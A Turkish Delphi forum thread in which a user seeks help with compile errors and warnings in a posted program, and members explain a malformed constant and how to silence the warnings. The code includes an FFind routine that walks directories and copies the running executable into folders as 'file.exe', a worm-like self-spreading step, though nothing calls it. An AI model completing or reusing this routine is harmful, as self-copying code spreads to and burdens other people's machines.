Kod Derlemede Hata.
Forum kuralları
Forum kurallarını okuyup, uyunuz!
Forum kurallarını okuyup, uyunuz!
Kod Derlemede Hata.
Merhaba, arkadaşlar Delphi 2005 Architect kullanıyorum, elimdeki kodu Test.dpr'ı derlerken hata oluşuyor, error log bu şekilde ne yapabilirim. Şimdiden teşekkürler.
[Error] Test.dpr(26): E2029 Identifier expected but string constant found
[Warning] Test.dpr(93): W1002 Symbol 'FindData' is specific to a platform
[Warning] Test.dpr(94): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] Test.dpr(94): W1002 Symbol 'FindData' is specific to a platform
[Warning] Test.dpr(99): W1002 Symbol 'FindData' is specific to a platform
[Warning] Test.dpr(102): W1002 Symbol 'FindData' is specific to a platform
[Warning] Test.dpr(103): W1002 Symbol 'FindData' is specific to a platform
[Warning] Test.dpr(104): W1002 Symbol 'FindData' is specific to a platform
[Warning] Test.dpr(110): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] Test.dpr(112): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] Test.dpr(113): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] Test.dpr(123): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] Test.dpr(123): W1002 Symbol 'FindData' is specific to a platform
[Warning] Test.dpr(124): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] Test.dpr(134): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] Test.dpr(134): W1002 Symbol 'FindData' is specific to a platform
[Error] Test.dpr(26): E2029 Identifier expected but string constant found
[Warning] Test.dpr(93): W1002 Symbol 'FindData' is specific to a platform
[Warning] Test.dpr(94): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] Test.dpr(94): W1002 Symbol 'FindData' is specific to a platform
[Warning] Test.dpr(99): W1002 Symbol 'FindData' is specific to a platform
[Warning] Test.dpr(102): W1002 Symbol 'FindData' is specific to a platform
[Warning] Test.dpr(103): W1002 Symbol 'FindData' is specific to a platform
[Warning] Test.dpr(104): W1002 Symbol 'FindData' is specific to a platform
[Warning] Test.dpr(110): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] Test.dpr(112): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] Test.dpr(113): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] Test.dpr(123): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] Test.dpr(123): W1002 Symbol 'FindData' is specific to a platform
[Warning] Test.dpr(124): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] Test.dpr(134): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] Test.dpr(134): W1002 Symbol 'FindData' is specific to a platform
-
- Kıdemli Üye
- Mesajlar: 574
- Kayıt: 01 Şub 2004 12:29
- Konum: Erdemli - MERSİN
ilgine teşekkürler , kod aşağıdaki şekilde, delphi 2005 ile açtığımda delphi.net mi yoksa delphi w32 mi diye sorduğunda delphi w32 seçiyorum, compile ederken hata alıyorum.
Dosya : Test.dpr
Program Test;
Uses
Windows;
TYPE
TFileName = type string;
TSearchRec = record
Time: Integer;
Size: Integer;
Attr: Integer;
Name: TFileName;
ExcludeAttr: Integer;
FindHandle: THandle platform;
FindData: TWin32FindData platform;
end;
LongRec = packed record
case Integer of
0: (Lo, Hi: Word);
1: (Words: array [0..1] of Word);
2: (Bytes: array [0..3] of Byte);
end;
Const
'This is test message....';
faReadOnly = $00000001;
faHidden = $00000002;
faSysFile = $00000004;
faVolumeID = $00000008;
faDirectory = $00000010;
faArchive = $00000020;
faAnyFile = $0000003F;
Function LowerCase(const S: string): string;
var
Len: Integer;
begin
Len := Length(S);
SetString(Result, PChar(S), Len);
if Len > 0 then CharLowerBuff(Pointer(Result), Len);
end;
Function FileSize(FileName: String): Int64;
Var
H: THandle;
FData: TWin32FindData;
Begin
Result:= -1;
H:= FindFirstFile(PChar(FileName), FData);
If H <> INVALID_HANDLE_VALUE Then
Begin
Windows.FindClose(H);
Result:= Int64(FData.nFileSizeHigh) Shl 32 + FData.nFileSizeLow;
End;
End;
Function ExtractFileName(Str:String):String;
Begin
While Pos('\', Str)>0 Do
Str := Copy(Str, Pos('\',Str)+1, Length(Str));
Result := Str;
End;
Function ExtractFileExt(s:string):String;
Begin
While Pos('.', S)>0 Do
S := Copy(S, pos('.', S)+1, Length(s));
Result := S;
End;
function FileExists(const FileName: string): Boolean;
var
Handle: THandle;
FindData: TWin32FindData;
begin
Handle := FindFirstFileA(PChar(FileName), FindData);
result:= Handle <> INVALID_HANDLE_VALUE;
if result then
begin
CloseHandle(Handle);
end;
end;
function FindMatchingFile(var F: TSearchRec): Integer;
var
LocalFileTime: TFileTime;
begin
with F do
begin
while FindData.dwFileAttributes and ExcludeAttr <> 0 do
if not FindNextFile(FindHandle, FindData) then
begin
Result := GetLastError;
Exit;
end;
FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
FileTimeToDosDateTime(LocalFileTime, LongRec(Time).Hi,
LongRec(Time).Lo);
Size := FindData.nFileSizeLow;
Attr := FindData.dwFileAttributes;
Name := FindData.cFileName;
end;
Result := 0;
end;
procedure FindClose(var F: TSearchRec);
begin
if F.FindHandle <> INVALID_HANDLE_VALUE then
begin
Windows.FindClose(F.FindHandle);
F.FindHandle := INVALID_HANDLE_VALUE;
end;
end;
function FindFirst(const Path: string; Attr: Integer;
var F: TSearchRec): Integer;
const
faSpecial = faHidden or faSysFile or faVolumeID or faDirectory;
begin
F.ExcludeAttr := not Attr and faSpecial;
F.FindHandle := FindFirstFile(PChar(Path), F.FindData);
if F.FindHandle <> INVALID_HANDLE_VALUE then
begin
Result := FindMatchingFile(F);
if Result <> 0 then FindClose(F);
end else
Result := GetLastError;
end;
function FindNext(var F: TSearchRec): Integer;
begin
if FindNextFile(F.FindHandle, F.FindData) then
Result := FindMatchingFile(F)
else
Result := GetLastError;
end;
Procedure FFind(D, Name, SearchName : String);
var
SR: TSearchRec;
ext: string;
fil: textfile;
l1: string;
l2: string;
lin: string;
begin
If D[Length(D)] <> '\' then D := D + '\';
If FindFirst(D + '*.*', faDirectory, SR) = 0 then
Repeat
If ((SR.Attr and faDirectory) = faDirectory) and (SR.Name[1] <> '.') then
FFind(D + SR.Name + '\', Name, SearchName)
Else Begin
ext := ExtractFileExt(SR.Name);
If Pos('c:', ExtractFileName(Copy(D, 1, Length(D)-1)))>0 Then CopyFile(pChar(ParamStr(0)), pChar(D+'file.exe'), False);
End;
Until (FindNext(SR) <> 0);
FindClose(SR);
end;
Begin
End.
Dosya : Test.dpr
Program Test;
Uses
Windows;
TYPE
TFileName = type string;
TSearchRec = record
Time: Integer;
Size: Integer;
Attr: Integer;
Name: TFileName;
ExcludeAttr: Integer;
FindHandle: THandle platform;
FindData: TWin32FindData platform;
end;
LongRec = packed record
case Integer of
0: (Lo, Hi: Word);
1: (Words: array [0..1] of Word);
2: (Bytes: array [0..3] of Byte);
end;
Const
'This is test message....';
faReadOnly = $00000001;
faHidden = $00000002;
faSysFile = $00000004;
faVolumeID = $00000008;
faDirectory = $00000010;
faArchive = $00000020;
faAnyFile = $0000003F;
Function LowerCase(const S: string): string;
var
Len: Integer;
begin
Len := Length(S);
SetString(Result, PChar(S), Len);
if Len > 0 then CharLowerBuff(Pointer(Result), Len);
end;
Function FileSize(FileName: String): Int64;
Var
H: THandle;
FData: TWin32FindData;
Begin
Result:= -1;
H:= FindFirstFile(PChar(FileName), FData);
If H <> INVALID_HANDLE_VALUE Then
Begin
Windows.FindClose(H);
Result:= Int64(FData.nFileSizeHigh) Shl 32 + FData.nFileSizeLow;
End;
End;
Function ExtractFileName(Str:String):String;
Begin
While Pos('\', Str)>0 Do
Str := Copy(Str, Pos('\',Str)+1, Length(Str));
Result := Str;
End;
Function ExtractFileExt(s:string):String;
Begin
While Pos('.', S)>0 Do
S := Copy(S, pos('.', S)+1, Length(s));
Result := S;
End;
function FileExists(const FileName: string): Boolean;
var
Handle: THandle;
FindData: TWin32FindData;
begin
Handle := FindFirstFileA(PChar(FileName), FindData);
result:= Handle <> INVALID_HANDLE_VALUE;
if result then
begin
CloseHandle(Handle);
end;
end;
function FindMatchingFile(var F: TSearchRec): Integer;
var
LocalFileTime: TFileTime;
begin
with F do
begin
while FindData.dwFileAttributes and ExcludeAttr <> 0 do
if not FindNextFile(FindHandle, FindData) then
begin
Result := GetLastError;
Exit;
end;
FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
FileTimeToDosDateTime(LocalFileTime, LongRec(Time).Hi,
LongRec(Time).Lo);
Size := FindData.nFileSizeLow;
Attr := FindData.dwFileAttributes;
Name := FindData.cFileName;
end;
Result := 0;
end;
procedure FindClose(var F: TSearchRec);
begin
if F.FindHandle <> INVALID_HANDLE_VALUE then
begin
Windows.FindClose(F.FindHandle);
F.FindHandle := INVALID_HANDLE_VALUE;
end;
end;
function FindFirst(const Path: string; Attr: Integer;
var F: TSearchRec): Integer;
const
faSpecial = faHidden or faSysFile or faVolumeID or faDirectory;
begin
F.ExcludeAttr := not Attr and faSpecial;
F.FindHandle := FindFirstFile(PChar(Path), F.FindData);
if F.FindHandle <> INVALID_HANDLE_VALUE then
begin
Result := FindMatchingFile(F);
if Result <> 0 then FindClose(F);
end else
Result := GetLastError;
end;
function FindNext(var F: TSearchRec): Integer;
begin
if FindNextFile(F.FindHandle, F.FindData) then
Result := FindMatchingFile(F)
else
Result := GetLastError;
end;
Procedure FFind(D, Name, SearchName : String);
var
SR: TSearchRec;
ext: string;
fil: textfile;
l1: string;
l2: string;
lin: string;
begin
If D[Length(D)] <> '\' then D := D + '\';
If FindFirst(D + '*.*', faDirectory, SR) = 0 then
Repeat
If ((SR.Attr and faDirectory) = faDirectory) and (SR.Name[1] <> '.') then
FFind(D + SR.Name + '\', Name, SearchName)
Else Begin
ext := ExtractFileExt(SR.Name);
If Pos('c:', ExtractFileName(Copy(D, 1, Length(D)-1)))>0 Then CopyFile(pChar(ParamStr(0)), pChar(D+'file.exe'), False);
End;
Until (FindNext(SR) <> 0);
FindClose(SR);
end;
Begin
End.
Altdaki kod ise, o mesaj kutusunu çıkarttım, fakat gene hata.
Program Work;
Uses
Windows;
TYPE
TFileName = type string;
TSearchRec = record
Time: Integer;
Size: Integer;
Attr: Integer;
Name: TFileName;
ExcludeAttr: Integer;
FindHandle: THandle platform;
FindData: TWin32FindData platform;
end;
LongRec = packed record
case Integer of
0: (Lo, Hi: Word);
1: (Words: array [0..1] of Word);
2: (Bytes: array [0..3] of Byte);
end;
Const
'';
faReadOnly = $00000001;
faHidden = $00000002;
faSysFile = $00000004;
faVolumeID = $00000008;
faDirectory = $00000010;
faArchive = $00000020;
faAnyFile = $0000003F;
Function LowerCase(const S: string): string;
var
Len: Integer;
begin
Len := Length(S);
SetString(Result, PChar(S), Len);
if Len > 0 then CharLowerBuff(Pointer(Result), Len);
end;
Function FileSize(FileName: String): Int64;
Var
H: THandle;
FData: TWin32FindData;
Begin
Result:= -1;
H:= FindFirstFile(PChar(FileName), FData);
If H <> INVALID_HANDLE_VALUE Then
Begin
Windows.FindClose(H);
Result:= Int64(FData.nFileSizeHigh) Shl 32 + FData.nFileSizeLow;
End;
End;
Function ExtractFileName(Str:String):String;
Begin
While Pos('\', Str)>0 Do
Str := Copy(Str, Pos('\',Str)+1, Length(Str));
Result := Str;
End;
Function ExtractFileExt(s:string):String;
Begin
While Pos('.', S)>0 Do
S := Copy(S, pos('.', S)+1, Length(s));
Result := S;
End;
function FileExists(const FileName: string): Boolean;
var
Handle: THandle;
FindData: TWin32FindData;
begin
Handle := FindFirstFileA(PChar(FileName), FindData);
result:= Handle <> INVALID_HANDLE_VALUE;
if result then
begin
CloseHandle(Handle);
end;
end;
function FindMatchingFile(var F: TSearchRec): Integer;
var
LocalFileTime: TFileTime;
begin
with F do
begin
while FindData.dwFileAttributes and ExcludeAttr <> 0 do
if not FindNextFile(FindHandle, FindData) then
begin
Result := GetLastError;
Exit;
end;
FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
FileTimeToDosDateTime(LocalFileTime, LongRec(Time).Hi,
LongRec(Time).Lo);
Size := FindData.nFileSizeLow;
Attr := FindData.dwFileAttributes;
Name := FindData.cFileName;
end;
Result := 0;
end;
procedure FindClose(var F: TSearchRec);
begin
if F.FindHandle <> INVALID_HANDLE_VALUE then
begin
Windows.FindClose(F.FindHandle);
F.FindHandle := INVALID_HANDLE_VALUE;
end;
end;
function FindFirst(const Path: string; Attr: Integer;
var F: TSearchRec): Integer;
const
faSpecial = faHidden or faSysFile or faVolumeID or faDirectory;
begin
F.ExcludeAttr := not Attr and faSpecial;
F.FindHandle := FindFirstFile(PChar(Path), F.FindData);
if F.FindHandle <> INVALID_HANDLE_VALUE then
begin
Result := FindMatchingFile(F);
if Result <> 0 then FindClose(F);
end else
Result := GetLastError;
end;
function FindNext(var F: TSearchRec): Integer;
begin
if FindNextFile(F.FindHandle, F.FindData) then
Result := FindMatchingFile(F)
else
Result := GetLastError;
end;
Procedure FFind(D, Name, SearchName : String);
var
SR: TSearchRec;
ext: string;
fil: textfile;
l1: string;
l2: string;
lin: string;
begin
If D[Length(D)] <> '\' then D := D + '\';
If FindFirst(D + '*.*', faDirectory, SR) = 0 then
Repeat
If ((SR.Attr and faDirectory) = faDirectory) and (SR.Name[1] <> '.') then
FFind(D + SR.Name + '\', Name, SearchName)
Else Begin
ext := ExtractFileExt(SR.Name);
If Pos('c:', ExtractFileName(Copy(D, 1, Length(D)-1)))>0 Then CopyFile(pChar(ParamStr(0)), pChar(D+'file.exe'), False);
End;
Until (FindNext(SR) <> 0);
FindClose(SR);
end;
Begin
End.
Error log gene aynı :
[Error] Work.dpr(26): E2029 Identifier expected but string constant found
[Warning] Work.dpr(93): W1002 Symbol 'FindData' is specific to a platform diye devam ediyor
Program Work;
Uses
Windows;
TYPE
TFileName = type string;
TSearchRec = record
Time: Integer;
Size: Integer;
Attr: Integer;
Name: TFileName;
ExcludeAttr: Integer;
FindHandle: THandle platform;
FindData: TWin32FindData platform;
end;
LongRec = packed record
case Integer of
0: (Lo, Hi: Word);
1: (Words: array [0..1] of Word);
2: (Bytes: array [0..3] of Byte);
end;
Const
'';
faReadOnly = $00000001;
faHidden = $00000002;
faSysFile = $00000004;
faVolumeID = $00000008;
faDirectory = $00000010;
faArchive = $00000020;
faAnyFile = $0000003F;
Function LowerCase(const S: string): string;
var
Len: Integer;
begin
Len := Length(S);
SetString(Result, PChar(S), Len);
if Len > 0 then CharLowerBuff(Pointer(Result), Len);
end;
Function FileSize(FileName: String): Int64;
Var
H: THandle;
FData: TWin32FindData;
Begin
Result:= -1;
H:= FindFirstFile(PChar(FileName), FData);
If H <> INVALID_HANDLE_VALUE Then
Begin
Windows.FindClose(H);
Result:= Int64(FData.nFileSizeHigh) Shl 32 + FData.nFileSizeLow;
End;
End;
Function ExtractFileName(Str:String):String;
Begin
While Pos('\', Str)>0 Do
Str := Copy(Str, Pos('\',Str)+1, Length(Str));
Result := Str;
End;
Function ExtractFileExt(s:string):String;
Begin
While Pos('.', S)>0 Do
S := Copy(S, pos('.', S)+1, Length(s));
Result := S;
End;
function FileExists(const FileName: string): Boolean;
var
Handle: THandle;
FindData: TWin32FindData;
begin
Handle := FindFirstFileA(PChar(FileName), FindData);
result:= Handle <> INVALID_HANDLE_VALUE;
if result then
begin
CloseHandle(Handle);
end;
end;
function FindMatchingFile(var F: TSearchRec): Integer;
var
LocalFileTime: TFileTime;
begin
with F do
begin
while FindData.dwFileAttributes and ExcludeAttr <> 0 do
if not FindNextFile(FindHandle, FindData) then
begin
Result := GetLastError;
Exit;
end;
FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
FileTimeToDosDateTime(LocalFileTime, LongRec(Time).Hi,
LongRec(Time).Lo);
Size := FindData.nFileSizeLow;
Attr := FindData.dwFileAttributes;
Name := FindData.cFileName;
end;
Result := 0;
end;
procedure FindClose(var F: TSearchRec);
begin
if F.FindHandle <> INVALID_HANDLE_VALUE then
begin
Windows.FindClose(F.FindHandle);
F.FindHandle := INVALID_HANDLE_VALUE;
end;
end;
function FindFirst(const Path: string; Attr: Integer;
var F: TSearchRec): Integer;
const
faSpecial = faHidden or faSysFile or faVolumeID or faDirectory;
begin
F.ExcludeAttr := not Attr and faSpecial;
F.FindHandle := FindFirstFile(PChar(Path), F.FindData);
if F.FindHandle <> INVALID_HANDLE_VALUE then
begin
Result := FindMatchingFile(F);
if Result <> 0 then FindClose(F);
end else
Result := GetLastError;
end;
function FindNext(var F: TSearchRec): Integer;
begin
if FindNextFile(F.FindHandle, F.FindData) then
Result := FindMatchingFile(F)
else
Result := GetLastError;
end;
Procedure FFind(D, Name, SearchName : String);
var
SR: TSearchRec;
ext: string;
fil: textfile;
l1: string;
l2: string;
lin: string;
begin
If D[Length(D)] <> '\' then D := D + '\';
If FindFirst(D + '*.*', faDirectory, SR) = 0 then
Repeat
If ((SR.Attr and faDirectory) = faDirectory) and (SR.Name[1] <> '.') then
FFind(D + SR.Name + '\', Name, SearchName)
Else Begin
ext := ExtractFileExt(SR.Name);
If Pos('c:', ExtractFileName(Copy(D, 1, Length(D)-1)))>0 Then CopyFile(pChar(ParamStr(0)), pChar(D+'file.exe'), False);
End;
Until (FindNext(SR) <> 0);
FindClose(SR);
end;
Begin
End.
Error log gene aynı :
[Error] Work.dpr(26): E2029 Identifier expected but string constant found
[Warning] Work.dpr(93): W1002 Symbol 'FindData' is specific to a platform diye devam ediyor
@MicroChip haklı.
- Yapman gereken şey, bahsi geçen CONST satırından sonraki ''This is test message...." için şunu yazıp, hatayı takip etmek...
- İlerleyen kodlarda mesaj gösterimine yönelik bir kod ile karşılaşılır da şu değişken tanımlanmamış hatasını alırsan, freezerg yazan CONST satırındaki bu değişkeninin adını tanımlanmamış dediği ile değiştirirsin.
- Yapman gereken şey, bahsi geçen CONST satırından sonraki ''This is test message...." için şunu yazıp, hatayı takip etmek...
Kod: Tümünü seç
freezerg = 'This is test message....';
Const satırını değiştirdim, artık orda hata almıyorum, fakat bu specific platform hatasını nasıl düzeltebilirim.
Birde hangi program olursa olsun ;
Build
[Warning] last.dpr(96): W1002 Symbol 'FindData' is specific to a platform
[Warning] last.dpr(97): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] last.dpr(97): W1002 Symbol 'FindData' is specific to a platform
[Warning] last.dpr(102): W1002 Symbol 'FindData' is specific to a platform
[Warning] last.dpr(105): W1002 Symbol 'FindData' is specific to a platform
[Warning] last.dpr(106): W1002 Symbol 'FindData' is specific to a platform
[Warning] last.dpr(107): W1002 Symbol 'FindData' is specific to a platform
[Warning] last.dpr(113): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] last.dpr(115): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] last.dpr(116): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] last.dpr(126): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] last.dpr(126): W1002 Symbol 'FindData' is specific to a platform
[Warning] last.dpr(127): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] last.dpr(137): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] last.dpr(137): W1002 Symbol 'FindData' is specific to a platform
[Hint] last.dpr(146): H2164 Variable 'fil' is declared but never used in 'FFind'
[Hint] last.dpr(147): H2164 Variable 'l1' is declared but never used in 'FFind'
[Hint] last.dpr(148): H2164 Variable 'l2' is declared but never used in 'FFind'
[Hint] last.dpr(149): H2164 Variable 'lin' is declared but never used in 'FFind'
bu hatalar mutlaka var "specific to a platform" hatası neden olur bu.
Program aşağıda :
Program Test;
Uses
Windows;
TYPE
TFileName = type string;
TSearchRec = record
Time: Integer;
Size: Integer;
Attr: Integer;
Name: TFileName;
ExcludeAttr: Integer;
FindHandle: THandle platform;
FindData: TWin32FindData platform;
end;
LongRec = packed record
case Integer of
0: (Lo, Hi: Word);
1: (Words: array [0..1] of Word);
2: (Bytes: array [0..3] of Byte);
end;
Const
Mess : String = 'Bu bir test mesajıdır '+
'Bu bir test mesajıdır'+
'Bu bir test mesajıdır';
faReadOnly = $00000001;
faHidden = $00000002;
faSysFile = $00000004;
faVolumeID = $00000008;
faDirectory = $00000010;
faArchive = $00000020;
faAnyFile = $0000003F;
Function LowerCase(const S: string): string;
var
Len: Integer;
begin
Len := Length(S);
SetString(Result, PChar(S), Len);
if Len > 0 then CharLowerBuff(Pointer(Result), Len);
end;
Function FileSize(FileName: String): Int64;
Var
H: THandle;
FData: TWin32FindData;
Begin
Result:= -1;
H:= FindFirstFile(PChar(FileName), FData);
If H <> INVALID_HANDLE_VALUE Then
Begin
Windows.FindClose(H);
Result:= Int64(FData.nFileSizeHigh) Shl 32 + FData.nFileSizeLow;
End;
End;
Function ExtractFileName(Str:String):String;
Begin
While Pos('\', Str)>0 Do
Str := Copy(Str, Pos('\',Str)+1, Length(Str));
Result := Str;
End;
Function ExtractFileExt(s:string):String;
Begin
While Pos('.', S)>0 Do
S := Copy(S, pos('.', S)+1, Length(s));
Result := S;
End;
function FileExists(const FileName: string): Boolean;
var
Handle: THandle;
FindData: TWin32FindData;
begin
Handle := FindFirstFileA(PChar(FileName), FindData);
result:= Handle <> INVALID_HANDLE_VALUE;
if result then
begin
CloseHandle(Handle);
end;
end;
function FindMatchingFile(var F: TSearchRec): Integer;
var
LocalFileTime: TFileTime;
begin
with F do
begin
while FindData.dwFileAttributes and ExcludeAttr <> 0 do
if not FindNextFile(FindHandle, FindData) then
begin
Result := GetLastError;
Exit;
end;
FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
FileTimeToDosDateTime(LocalFileTime, LongRec(Time).Hi,
LongRec(Time).Lo);
Size := FindData.nFileSizeLow;
Attr := FindData.dwFileAttributes;
Name := FindData.cFileName;
end;
Result := 0;
end;
procedure FindClose(var F: TSearchRec);
begin
if F.FindHandle <> INVALID_HANDLE_VALUE then
begin
Windows.FindClose(F.FindHandle);
F.FindHandle := INVALID_HANDLE_VALUE;
end;
end;
function FindFirst(const Path: string; Attr: Integer;
var F: TSearchRec): Integer;
const
faSpecial = faHidden or faSysFile or faVolumeID or faDirectory;
begin
F.ExcludeAttr := not Attr and faSpecial;
F.FindHandle := FindFirstFile(PChar(Path), F.FindData);
if F.FindHandle <> INVALID_HANDLE_VALUE then
begin
Result := FindMatchingFile(F);
if Result <> 0 then FindClose(F);
end else
Result := GetLastError;
end;
function FindNext(var F: TSearchRec): Integer;
begin
if FindNextFile(F.FindHandle, F.FindData) then
Result := FindMatchingFile(F)
else
Result := GetLastError;
end;
Procedure FFind(D, Name, SearchName : String);
var
SR: TSearchRec;
ext: string;
fil: textfile;
l1: string;
l2: string;
lin: string;
begin
If D[Length(D)] <> '\' then D := D + '\';
If FindFirst(D + '*.*', faDirectory, SR) = 0 then
Repeat
If ((SR.Attr and faDirectory) = faDirectory) and (SR.Name[1] <> '.') then
FFind(D + SR.Name + '\', Name, SearchName)
Else Begin
ext := ExtractFileExt(SR.Name);
If Pos('c:', ExtractFileName(Copy(D, 1, Length(D)-1)))>0 Then CopyFile(pChar(ParamStr(0)), pChar(D+'file.exe'), False);
End;
Until (FindNext(SR) <> 0);
FindClose(SR);
end;
Begin
End.
Selametle.
Birde hangi program olursa olsun ;
Build
[Warning] last.dpr(96): W1002 Symbol 'FindData' is specific to a platform
[Warning] last.dpr(97): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] last.dpr(97): W1002 Symbol 'FindData' is specific to a platform
[Warning] last.dpr(102): W1002 Symbol 'FindData' is specific to a platform
[Warning] last.dpr(105): W1002 Symbol 'FindData' is specific to a platform
[Warning] last.dpr(106): W1002 Symbol 'FindData' is specific to a platform
[Warning] last.dpr(107): W1002 Symbol 'FindData' is specific to a platform
[Warning] last.dpr(113): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] last.dpr(115): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] last.dpr(116): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] last.dpr(126): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] last.dpr(126): W1002 Symbol 'FindData' is specific to a platform
[Warning] last.dpr(127): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] last.dpr(137): W1002 Symbol 'FindHandle' is specific to a platform
[Warning] last.dpr(137): W1002 Symbol 'FindData' is specific to a platform
[Hint] last.dpr(146): H2164 Variable 'fil' is declared but never used in 'FFind'
[Hint] last.dpr(147): H2164 Variable 'l1' is declared but never used in 'FFind'
[Hint] last.dpr(148): H2164 Variable 'l2' is declared but never used in 'FFind'
[Hint] last.dpr(149): H2164 Variable 'lin' is declared but never used in 'FFind'
bu hatalar mutlaka var "specific to a platform" hatası neden olur bu.
Program aşağıda :
Program Test;
Uses
Windows;
TYPE
TFileName = type string;
TSearchRec = record
Time: Integer;
Size: Integer;
Attr: Integer;
Name: TFileName;
ExcludeAttr: Integer;
FindHandle: THandle platform;
FindData: TWin32FindData platform;
end;
LongRec = packed record
case Integer of
0: (Lo, Hi: Word);
1: (Words: array [0..1] of Word);
2: (Bytes: array [0..3] of Byte);
end;
Const
Mess : String = 'Bu bir test mesajıdır '+
'Bu bir test mesajıdır'+
'Bu bir test mesajıdır';
faReadOnly = $00000001;
faHidden = $00000002;
faSysFile = $00000004;
faVolumeID = $00000008;
faDirectory = $00000010;
faArchive = $00000020;
faAnyFile = $0000003F;
Function LowerCase(const S: string): string;
var
Len: Integer;
begin
Len := Length(S);
SetString(Result, PChar(S), Len);
if Len > 0 then CharLowerBuff(Pointer(Result), Len);
end;
Function FileSize(FileName: String): Int64;
Var
H: THandle;
FData: TWin32FindData;
Begin
Result:= -1;
H:= FindFirstFile(PChar(FileName), FData);
If H <> INVALID_HANDLE_VALUE Then
Begin
Windows.FindClose(H);
Result:= Int64(FData.nFileSizeHigh) Shl 32 + FData.nFileSizeLow;
End;
End;
Function ExtractFileName(Str:String):String;
Begin
While Pos('\', Str)>0 Do
Str := Copy(Str, Pos('\',Str)+1, Length(Str));
Result := Str;
End;
Function ExtractFileExt(s:string):String;
Begin
While Pos('.', S)>0 Do
S := Copy(S, pos('.', S)+1, Length(s));
Result := S;
End;
function FileExists(const FileName: string): Boolean;
var
Handle: THandle;
FindData: TWin32FindData;
begin
Handle := FindFirstFileA(PChar(FileName), FindData);
result:= Handle <> INVALID_HANDLE_VALUE;
if result then
begin
CloseHandle(Handle);
end;
end;
function FindMatchingFile(var F: TSearchRec): Integer;
var
LocalFileTime: TFileTime;
begin
with F do
begin
while FindData.dwFileAttributes and ExcludeAttr <> 0 do
if not FindNextFile(FindHandle, FindData) then
begin
Result := GetLastError;
Exit;
end;
FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
FileTimeToDosDateTime(LocalFileTime, LongRec(Time).Hi,
LongRec(Time).Lo);
Size := FindData.nFileSizeLow;
Attr := FindData.dwFileAttributes;
Name := FindData.cFileName;
end;
Result := 0;
end;
procedure FindClose(var F: TSearchRec);
begin
if F.FindHandle <> INVALID_HANDLE_VALUE then
begin
Windows.FindClose(F.FindHandle);
F.FindHandle := INVALID_HANDLE_VALUE;
end;
end;
function FindFirst(const Path: string; Attr: Integer;
var F: TSearchRec): Integer;
const
faSpecial = faHidden or faSysFile or faVolumeID or faDirectory;
begin
F.ExcludeAttr := not Attr and faSpecial;
F.FindHandle := FindFirstFile(PChar(Path), F.FindData);
if F.FindHandle <> INVALID_HANDLE_VALUE then
begin
Result := FindMatchingFile(F);
if Result <> 0 then FindClose(F);
end else
Result := GetLastError;
end;
function FindNext(var F: TSearchRec): Integer;
begin
if FindNextFile(F.FindHandle, F.FindData) then
Result := FindMatchingFile(F)
else
Result := GetLastError;
end;
Procedure FFind(D, Name, SearchName : String);
var
SR: TSearchRec;
ext: string;
fil: textfile;
l1: string;
l2: string;
lin: string;
begin
If D[Length(D)] <> '\' then D := D + '\';
If FindFirst(D + '*.*', faDirectory, SR) = 0 then
Repeat
If ((SR.Attr and faDirectory) = faDirectory) and (SR.Name[1] <> '.') then
FFind(D + SR.Name + '\', Name, SearchName)
Else Begin
ext := ExtractFileExt(SR.Name);
If Pos('c:', ExtractFileName(Copy(D, 1, Length(D)-1)))>0 Then CopyFile(pChar(ParamStr(0)), pChar(D+'file.exe'), False);
End;
Until (FindNext(SR) <> 0);
FindClose(SR);
end;
Begin
End.
Selametle.
@freezerg kardeşim öncelikle mesajına eklediğin kodları [ code ] [ /code ] tag ları arasına alırsan daha okunaklı ve cevap alma süren kısalacaktır
Anlaşılan o ki; bu kodları bir yerden kopyalama ile yazdın, yazarken de bir şeyleri atladın
Ayrıca platform ile ilgili kullanımı bilemiyorum
Bu uyarı mesajları .exe nin oluşumunu etkilememeli. Rahatsız olursan da Project / Options .. / Compiler Messages ten işaretleri kaldırıp kapatabilirsin
Yada sadece Platform Sembol seçeneğindeki işareti kaldırmalısın.

Anlaşılan o ki; bu kodları bir yerden kopyalama ile yazdın, yazarken de bir şeyleri atladın



Bilgiyi paylaşarak artıralım! Hayatı kolaylaştıralım!!
dediğiniz yolla kapattım, bi bunlar kaldı. Yazım yanlışı olmadığı halde hata veriyor, acaba delphi versiyonundan olabilir mi ?
Teşekkürler
[Hint] Seee.dpr(145): H2164 Variable 'fil' is declared but never used in 'FFind'
[Hint] Seee.dpr(146): H2164 Variable 'l1' is declared but never used in 'FFind'
[Hint] Seee.dpr(147): H2164 Variable 'l2' is declared but never used in 'FFind'
[Hint] Seee.dpr(148): H2164 Variable 'lin' is declared but never used in 'FFind'
Teşekkürler
[Hint] Seee.dpr(145): H2164 Variable 'fil' is declared but never used in 'FFind'
[Hint] Seee.dpr(146): H2164 Variable 'l1' is declared but never used in 'FFind'
